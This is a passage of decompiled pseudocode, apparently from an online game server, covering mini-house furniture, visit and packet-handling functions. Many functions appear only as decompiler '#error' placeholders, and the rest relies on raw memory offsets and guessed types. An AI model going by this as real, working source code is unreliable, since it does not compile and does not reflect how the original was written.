funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v2 + 32010); v4 = *((_DWORD *)v2 + 23034); v5 = *(_DWORD *)(v3 + 29); memcpy(&tempequip, (const void *)(v3 + 33), 0x28u); *(_WORD *)&tempequip.upgrade.gap0[0] = *(_WORD *)(v3 + 73); tempequip.upgrade._bf2 = *(_BYTE *)(v3 + 75); if ( v4 ) { v6 = ride; *(_WORD *)(ride + 47) = **(_WORD **)(v4 + 4); } else { v6 = ride; *(_WORD *)(ride + 47) = -1; } memcpy((void *)(v6 + 4), &tempequip, 0x28u); *(_WORD *)(v6 + 44) = *(_WORD *)&tempequip.upgrade.gap0[0]; *(_DWORD *)v6 = v5; *(_BYTE *)(v6 + 46) = tempequip.upgrade._bf2; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo"); return 1; } //----- (0050BF60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3108; *(_DWORD *)(v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ"); } //----- (0050C050) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo(void *this) { void *v1; // esi@1 int v2; // edx@1 char *v3; // edi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@1 int v7; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v7 = 0; *(_DWORD *)(*(_DWORD *)((char *)v1 + 32010) + 139) = (*(int (__thiscall **)(void *))(v2 + 2048))(v1); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 144) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2044))(v1); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4246; *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v3 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2048))(v1); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo"); } //----- (0050C170) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable(void *this, int efftype) { void *v2; // esi@1 int v3; // ebp@2 int v4; // eax@2 signed int result; // eax@5 unsigned int v6; // ebp@6 unsigned int v7; // ebp@7 FunctionEntarance _; // [sp+0h] [bp-10h]@1 int v9; // [sp+Ch] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; switch ( efftype ) { case 0: v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); goto LABEL_4; case 1: v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1248))(v2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2); LABEL_4: if ( v4 < (unsigned int)v3 ) goto $L150674; goto LABEL_9; case 2: case 3: case 4: case 5: goto $L150674; case 7: v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2) < v6 ) { $L150674: --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"); result = 1; } else { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1248))(v2); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2) >= v7 ) { LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable"); result = 0; } else { v9 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } } return result; default: goto LABEL_9; } } //----- (0050C300) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUpdate(int pDBAck) { return 6768; } //----- (0050C310) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUse(int pFurnitureEndureKitUseReq) { return 4484; } //----- (0050C320) -------------------------------------------------------- #error "50C320: undefined or illegal type '#325' (funcsize=47)" //----- (0050C3C0) -------------------------------------------------------- #error "50C3C0: undefined or illegal type '#325' (funcsize=47)" //----- (0050C460) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_DEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { DebugLogging *v3; // esi@2 _iobuf *v4; // eax@4 DebugLogging *v5; // eax@6 if ( !ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol) ) { v3 = DebugLogging::operator<<(&InnerMiniHouseLog, "cannot find player ["); if ( DebugLogging::dl_ActivAll && v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } v5 = DebugLogging::operator<<(v3, "]. ignore 'minihouse portal del' command"); DebugLogging::operator<<(v5, &deb_LF); } } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0050C4E0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_VISITER_COUNT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { DebugLogging *v3; // esi@2 _iobuf *v4; // eax@4 DebugLogging *v5; // eax@6 if ( !ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol) ) { v3 = DebugLogging::operator<<(&InnerMiniHouseLog, "cannot find player ["); if ( DebugLogging::dl_ActivAll && v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } v5 = DebugLogging::operator<<(v3, "]. ignore 'minihouse visitor count' command"); DebugLogging::operator<<(v5, &deb_LF); } } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0050C560) -------------------------------------------------------- #error "50C560: undefined or illegal type '#325' (funcsize=152)" //----- (0050C780) -------------------------------------------------------- #error "50C780: undefined or illegal type '#325' (funcsize=185)" //----- (0050C9C0) -------------------------------------------------------- #error "50C9C0: undefined or illegal type '#325' (funcsize=175)" //----- (0050CBE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionInfo(void *this) { return (int)((char *)this + 23600); } //----- (0050CBF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_InitFurnitureEmotionInfo(int this) { *(_WORD *)(this + 23600) = -1; *(_WORD *)(this + 23602) = -1; *(_BYTE *)(this + 23604) = -1; *(_BYTE *)(this + 23605) = -1; return 1; } //----- (0050CC20) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotion(int this, __int16 nFurnitureHnd) { bool result; // al@2 if ( nFurnitureHnd == -1 ) result = 0; else result = *(_WORD *)(this + 23602) == nFurnitureHnd; return result; } //----- (0050CC40) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionPosition(int this, __int16 nFurnitureHnd, char nPosition) { return nFurnitureHnd != -1 && *(_WORD *)(this + 23602) == nFurnitureHnd && *(_BYTE *)(this + 23604) == nPosition; } //----- (0050CC70) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionNo(int this, char nEmotionNo) { return *(_BYTE *)(this + 23605) == nEmotionNo; } //----- (0050CC80) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotion(int this) { return *(_WORD *)(this + 23602); } //----- (0050CC90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionPosition(int this) { return *(_BYTE *)(this + 23604); } //----- (0050CCA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionNo(int this) { return *(_BYTE *)(this + 23605); } //----- (0050CCB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotion(int this, __int16 nFurnitureHnd) { *(_WORD *)(this + 23602) = nFurnitureHnd; return 1; } //----- (0050CCD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionPosition(int this, char nPosition) { *(_BYTE *)(this + 23604) = nPosition; return 1; } //----- (0050CCE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionNo(int this, char nEmotionNo) { *(_BYTE *)(this + 23605) = nEmotionNo; return 1; } //----- (0050CCF0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetNextFurnitureHandle(ShineObjectClass::ShineMiniHouse *this) { int v1; // eax@1 v1 = this->smh_Furniture.FurnitureHandle; this->smh_Furniture.FurnitureHandle = v1 + 1; return v1; } //----- (0050CD10) -------------------------------------------------------- #error "50CD10: undefined or illegal type '#325' (funcsize=57)" //----- (0050CDD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_mobile_ICanDamageTo(#325 *this, #325 *Left, char *from) { return 0; } //----- (0050CDE0) -------------------------------------------------------- #error "50CDE0: undefined or illegal type '#325' (funcsize=63)" //----- (0050CEB0) -------------------------------------------------------- #error "50CEB0: undefined or illegal type '#325' (funcsize=254)" //----- (0050D200) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetActiveMH(int this) { return *(_WORD *)(this + 23334) != -1; } //----- (0050D210) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetMyHandle(int this, __int16 MHRegNum) { __int16 result; // ax@1 result = MHRegNum; *(_WORD *)(this + 23334) = MHRegNum; return result; } //----- (0050D220) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_CurrentTargetHandle() { return -1; } //----- (0050D230) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetMyHandle(int this) { return *(_WORD *)(this + 23334); } //----- (0050D240) -------------------------------------------------------- int __thiscall CharClass::AC(ItemAttributeClass *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime) { return 0; } //----- (0050D250) -------------------------------------------------------- #error "50D250: undefined or illegal type '#325' (funcsize=68)" //----- (0050D300) -------------------------------------------------------- #325 *__thiscall ShineObjectClass::ShinePlayer::so_mh_GetMinihouse(void *this) { unsigned __int16 v1; // ax@1 v1 = (*(int (**)(void))(*(_DWORD *)this + 312))(); return ShineObjectManager::som_GetObject(&shineobjmanager, v1); } //----- (0050D320) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(int this, int pEvent) { int v2; // esi@1 int v3; // ecx@1 int result; // eax@2 v2 = this; v3 = *(_DWORD *)(this + 23608); if ( v3 ) { result = (**(int (__stdcall ***)(_DWORD))v3)(1); *(_DWORD *)(v2 + 23608) = 0; *(_DWORD *)(v2 + 23608) = pEvent; } else { *(_DWORD *)(v2 + 23608) = pEvent; } return result; } //----- (0050D360) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_GetRollBackPosEvent(int this) { return *(_DWORD *)(this + 23608); } //----- (0050D370) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(int this) { int v1; // edi@1 int v2; // esi@1 int v3; // eax@2 char result; // al@6 v1 = this; v2 = *(_DWORD *)(this + 23608); if ( v2 ) { v3 = *(_DWORD *)this; *(_DWORD *)(this + 23608) = 0; if ( (unsigned __int8)(*(int (**)(void))(v3 + 1136))() ) (*(void (__thiscall **)(int, int))(*(_DWORD *)v2 + 4))(v2, v1); if ( v2 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v2)(v2, 1); result = 1; } else { result = 0; } return result; } //----- (0050D3C0) -------------------------------------------------------- char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@2 char result; // al@3 if ( finger->cief_Finger >= -1 && (v2 = finger->cief_Finger + 1, finger->cief_Finger = v2, v2 < this->cideb_Total) ) { result = 1; } else { finger->cief_Finger = -10; result = 0; } return result; } //----- (0050D3F0) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (0050D410) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryMiniHouseEntrance *content) { MemoryQueue *v3; // eax@1 unsigned int v4; // ecx@1 v3 = this; v4 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); v3->mq_Pointer.value = v4; v3->mq_Buffer[v4].handle = hnd; memcpy(&v3->mq_Buffer[v3->mq_Pointer.value].content, content, sizeof(v3->mq_Buffer[v3->mq_Pointer.value].content)); return LOWORD(v3->mq_Pointer.value); } //----- (0050D470) -------------------------------------------------------- #error "50D470: undefined or illegal type '#325' (funcsize=138)" //----- (0050D660) -------------------------------------------------------- #error "50D660: undefined or illegal type '#325' (funcsize=230)" //----- (0050D980) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@9 char v8; // al@13 int v9; // eax@14 char v10; // al@17 int v11; // eax@18 char v12; // al@22 int v13; // eax@23 __int16 v14; // ax@25 char *v15; // ecx@26 char v16; // al@26 int v17; // eax@27 char v18; // al@29 int v19; // eax@30 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v21; // [sp+18h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S7_2 & 1) == 0; v6 = gpp.pp_Buffer; v21 = 0; *(_WORD *)gpp.pp_Buffer = 12340; if ( v5 ) { _S7_2 |= 1u; cmc_81.cmc_AllowMode = 6; atexit(_E8_33); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_81.cmc_AllowMode) ) { *((_WORD *)v6 + 3) = 6769; LABEL_7: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { LABEL_8: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8); LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ"); return; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_34: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_35; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 304))(v4) ) { *((_WORD *)v6 + 3) = 6774; goto LABEL_7; } if ( *((_BYTE *)v4 + 7368) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2796))(v4) ) { *((_WORD *)v6 + 3) = 6769; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) goto LABEL_8; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_34; } if ( *(_DWORD *)((char *)v4 + 98) ) { if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { *((_WORD *)v6 + 3) = 6772; v10 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v10, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( *((_BYTE *)v4 + 69416) & 0xC ) { *((_WORD *)v6 + 3) = 6769; v18 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v18, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) ) { *((_WORD *)v6 + 3) = 6769; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { v14 = (*(int (__thiscall **)(void *, int))(*(_DWORD *)v4 + 316))(v4, netcmd + 2); if ( v14 != 6768 ) { v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12340; *((_WORD *)v15 + 3) = v14; v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v4, &gpp); } } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } } else { *((_WORD *)v6 + 3) = 6770; v8 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v8, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ : Packet Too Long", 8) ) { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (0050DD50) -------------------------------------------------------- #error "50DD50: undefined or illegal type '#434' (funcsize=304)" //----- (0050E1B0) -------------------------------------------------------- #error "50E1B0: undefined or illegal type '#325' (funcsize=245)" //----- (0050E500) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 char v5; // al@9 int v6; // ecx@9 int v7; // eax@11 int v8; // edi@11 int v9; // ebx@22 int v10; // ebx@24 int v11; // eax@24 int v12; // eax@27 char *v13; // ST14_4@27 DebugLogging *v14; // eax@27 DebugLogging *v15; // eax@27 DebugLogging *v16; // eax@27 signed int v17; // [sp+18h] [bp-24h]@10 DebugLineFeed *v18; // [sp+1Ch] [bp-20h]@0 FunctionEntarance _; // [sp+2Ch] [bp-10h]@1 int v20; // [sp+38h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S13_2 & 1) ) { _S13_2 |= 1u; cmc_83.cmc_AllowMode = 6; atexit(_E14_13); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_83.cmc_AllowMode ) { if ( *(_BYTE *)(v4 + 7368) & 4 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2796))(v4) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4482); } else { if ( *(_DWORD *)(v4 + 98) ) { v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 304))(v4); v6 = v4; if ( v5 ) { v17 = 4485; } else { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2164))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2528))(v4); v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(netcmd + 2)); v8 = v7; v6 = v4; if ( v7 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v7) > 0x2710 ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4512); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 988))(v4, 288) || (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 152))(v8, netcmd + 4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 144))(v8, v4) ) { v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 124))(v8, v4); (*(void (__thiscall **)(int, signed int, signed int, int))(*(_DWORD *)v4 + 776))(v4, 35, 17, v9); if ( v9 == 4481 ) { if ( !(*(int (__thiscall **)(int))(*(_DWORD *)v8 + 340))(v8) || (v10 = *(_DWORD *)v4, v11 = (*(int (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v8 + 340))( v8, 6, 9, 10), !(unsigned __int8)(*(int (__thiscall **)(int, int))(v10 + 1472))(v4, v11)) ) { v12 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1664))(v4, "cannot enter minihouse"); v13 = NameString::operator__(&namestring, (Name4 *)(v12 + 2)); v14 = DebugLogging::operator<<(&InnerMiniHouseLog, "player ["); v15 = DebugLogging::operator<<(v14, v13); v16 = DebugLogging::operator<<(v15, deb_LF.dummy); DebugLogging::operator<<(v16, v18); (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 136))(v8); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 308))(v4, *(_WORD *)(v8 + 4)); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 688))(v4); } v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v17 = 4485; } else { v17 = 4507; } v6 = v4; } else { v17 = 4487; } } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v6, 35, 17, v17); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4499); } } else { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 35, 17, 4482); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ"); } //----- (0050E840) -------------------------------------------------------- #error "50E840: undefined or illegal type '#325' (funcsize=474)" //----- (0050EF00) -------------------------------------------------------- #error "50EF00: undefined or illegal type '#325' (funcsize=192)" //----- (0050F1B0) -------------------------------------------------------- #error "50F1B0: undefined or illegal type '#325' (funcsize=248)" //----- (0050F500) -------------------------------------------------------- #error "50F500: undefined or illegal type '#325' (funcsize=115)" //----- (0050F680) -------------------------------------------------------- #error "50F680: undefined or illegal type '#325' (funcsize=112)" //----- (0050F7F0) -------------------------------------------------------- #error "50F7F0: undefined or illegal type '#325' (funcsize=115)" //----- (0050F970) -------------------------------------------------------- #error "50F970: undefined or illegal type '#325' (funcsize=175)" //----- (0050FBC0) -------------------------------------------------------- #error "50FBC0: undefined or illegal type '#325' (funcsize=150)" //----- (0050FDC0) -------------------------------------------------------- #error "50FDC0: undefined or illegal type '#325' (funcsize=165)" //----- (0050FFF0) -------------------------------------------------------- #error "50FFF0: undefined or illegal type '#325' (funcsize=164)" //----- (00510220) -------------------------------------------------------- #error "510220: undefined or illegal type '#325' (funcsize=176)" //----- (00510470) -------------------------------------------------------- #error "510470: undefined or illegal type '#325' (funcsize=173)" //----- (005106D0) -------------------------------------------------------- #error "5106D0: undefined or illegal type '#325' (funcsize=165)" //----- (00510900) -------------------------------------------------------- #error "510900: undefined or illegal type '#325' (funcsize=507)" //----- (00510FF0) -------------------------------------------------------- #error "510FF0: undefined or illegal type '#325' (funcsize=186)" //----- (005112E0) -------------------------------------------------------- #error "5112E0: undefined or illegal type '#325' (funcsize=269)" //----- (00511680) -------------------------------------------------------- #error "511680: undefined or illegal type '#325' (funcsize=560)" //----- (00511E30) -------------------------------------------------------- #error "511E30: undefined or illegal type '#325' (funcsize=187)" //----- (00512120) -------------------------------------------------------- #error "512120: undefined or illegal type '#325' (funcsize=286)" //----- (005124D0) -------------------------------------------------------- #error "5124D0: undefined or illegal type '#325' (funcsize=175)" //----- (00512730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // 